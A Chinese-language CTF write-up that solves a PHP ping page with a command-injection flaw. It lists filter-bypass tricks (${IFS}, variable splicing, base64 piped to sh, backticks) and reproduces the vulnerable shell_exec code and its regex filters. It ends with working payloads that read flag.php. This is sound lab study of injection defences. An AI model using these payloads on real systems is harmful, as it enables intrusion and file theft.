打开环境,是如下页面
应该是让我们用get方法传一个参数ip,然后执行系统的ping命令,我们ls一下看看页面是如何回显的
有flag.php和index.php,直接访问不会有回显,猜测flag在注释里面,那我们cat一下flag.php
显示"fxck your space"……
应该是过滤了空格emm,那么我们先总结一下os命令执行的常见的绕过方法:
1,过滤空格:
过滤空格:可以用以下字符代替
<>
<
${IFS}
$IFS$1
{cat,flag.php}
2,过滤关键字或者一些纳入黑名单的敏感文件名:
黑名单 绕过:
拼接:cat test.txt = a=c;b=at;c=test;d=.txt $a$b $c$d
base64编码: `echo Y2F0IHRlc3QudHh0|base64 -d`
echo Y2F0IHRlc3QudHh0|base64 -d|bash
echo Y2F0IHRlc3QudHh0|base64 -d|sh
单双引号:ca''t tes""t.txt
反斜线:ca\t tes\t.txt
$符号:ca$@t te$9st.txt
cat等价替换:more less head tac tail vim等等……
通配符:
/???/?at ????.???
/???/?[a][t] ????.???
3,做长度上的限制:
长度限制 绕过:
(>是写入一个文件,但是内容会清空,>>是在文件末尾追加,\是换行符)
echo "cat\\" > cmd
echo "tes\\">>cmd
echo "t.txt">>cmd
sh cmd
有了以上办法,它既然过滤了空格,我们用以下几种形式来代替
1: ?ip=1|cat${IFS}flag.php
2: ?ip=1|cat<>flag.php
3: ?ip=1|cat<flag.php
4: ?ip=1|{cat,flag.php}
5: ?ip=1|cat$IFS$1flag.php
前四种方法都是"fxck your symbol!",猜测是对特殊字符做了过滤,但是cao dan的是我们不知道过滤了啥
第五种方法可以!
没有fxck your space,space,而是fuck flag……
没事儿,既然能突破前两重限制,那应该离胜利不远了,尝试拼接法拼flag无果后,我们读一下index.php
?ip=1|cat$IFS$1index.php
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
可以看到上面就是我们的过滤规则了,推荐一个调试正则的网站:https://regex101.com
我们已经突破前两重过滤,我们直接看最后一个带有flag的过滤规则就好
可以看到只要有flag出现就不可以,无论它们中间有多少字符,但是咧,不出现flag.php
出现f$a是不会触发正则的,我们可以用拼接法来拼接flag:
?ip=1;a=lag.php;cat$IFS$1f$a;
bingo!
当然还有以下三种解法
1,(看源码知道bash被过滤)我们用sh来代替进行base64编码
?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
2,反引号里面的字符串会被当作命令执行
?ip=1;`echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d`
3,反引号里面的字符串不仅可以被当作命令执行,命令执行的结果还可被当作输入
?ip=1;cat$IFS$1`ls` 等价于 cat flag.php index.php